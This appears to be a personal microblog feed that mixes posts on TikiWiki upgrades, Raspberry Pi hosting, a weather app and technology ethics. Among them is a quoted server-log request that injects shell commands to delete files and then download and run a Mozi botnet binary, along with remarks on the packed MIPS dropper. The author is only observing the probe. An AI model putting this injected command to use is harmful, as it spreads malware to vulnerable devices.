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"The internet isn't inherently good or evil. That's determined by what people do with it. "

No, I don't subscribe to that view of technology at all.

The idea that technology is "value-neutral" is itself an idea (and ideas are themselves technologies), and it's an idea that I don't think is value-neutral.

I think every technology has a shape. It imposes that shape on us, making some acts/thoughts easier, and others harder.

Our tools shape us. We should care about what that shape is.

Ah, ich habs! Per SMS ging das.

Kostet dann aber 1,19 statt 80Cent pro Brief.

Und wahrscheinlich gehts auch nicht mit nem Prepaidtarif ... na, ich teste es mal interessenhalber.

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I got several requests on how fast potato internet is, so I plugged one between the second DSL wire.
Didn't even cost much bandwidth, still about 175/39 Mbit/s! Definitely some HF-magic going on here.
The apple doesn't seem to be too happy about the heat in the cabinet, though.

Bruce Schneier notes on his blog that Ross Anderson has finished the drafts for the third edition of "Security Engineering", currently available for free:

The drafts will disappear for 42 months as soon as the book goes into print, so now's a good time to download the preprint edition.

No idea what they did there. In Tiki 21, all of the fonts are incredibly large, at least on a standard display, and the Tikinewt theme suddenly loads a Google font for no good reason (also the module positions got messed up every time I made a change to the theme settings). Do they use the large fonts to accommodate for high-DPI displays, and no one ever looked at the result with an older device?

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One of the annoying things about the Shaarlier Android app (that drops links into a Shaarli instance) is that it loses its state when changing back to the web browser to copy a quote from the text, for example.

First use I found for split-screen mode in Android (but it's still a hassle).

Yeah no, rolling back to Tiki 18. It's supported until 2023.

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So my only change was the styling of links, but both Tikinewt and the Default theme in Tiki 21 are in various states of broken. This will need some work...

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Excellent. I apparently made changes to the stylesheets, but didn't document where and how, so I now need to find out how that was done, again.

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(...and abandon the thing for good when that goes wrong - I pushed it back after a dist-upgrade turned another Pi unbootable, and I don't have any way to access the system over there if there's a problem that prevents ssh access.)

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My RasPi hosted by pcextreme is still online a year after they announced the shutdown of their Pi hosting service. Maybe I should attempt an upgrade of the Raspbian on there (still on jessie) after all...

Duh. I didn't even know that TRIM is supported on SD cards?

On one of my PIs:

# fstrim -v /
/: 11.3 GiB (12144545792 bytes) trimmed

Oh, there's been a new TikiWiki major release. Which means that I should upgrade my ancient Tiki, first installed back in 2004, yet another time.
It's not usually much of a hassle from one LTS to the next, but slightly complicated by the fact that I run it on OpenBSD with lighttpd as the web server. And I'm behind on OpenBSD upgrades, too.

I'm still quite fond of this not-selfie, which was about the first shot I made after I got that lens in 2014...

Funny, Virustotal sais the binary is flagged as malicous by Microsoft (28/74 detection ratio over all the engines), but Windows Security on my machine doesn't seem to agree. Anyway, nothing new to see here, just was amused over the borked download URL.

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Ah, there's other requests where the dropper is downloaded from a non-RFC1918 IP address, so this has an actual chance to work. Download is a MIPS binary, UPX-packed.

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Uh, sure.

"GET /shell?cd+/tmp;rm+-rf+*;wget+;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1"

#TinyWeatherForecastGermany #android #fdroid #floss

Neue Version 0.50.1 ist raus.

Meine Wetter-App hat das Beta-Stadium verlassen!

- tracked nicht die Benutzer
- GPLv3
- benutzt Open Data des Deutschen Wetterdienstes (DWD)
- Wetter-Warnungen für Deutschland
- Unterstützt #gadgetbridge


Die apks kann man entweder über die Projekt-Seite oder von hier beziehen:

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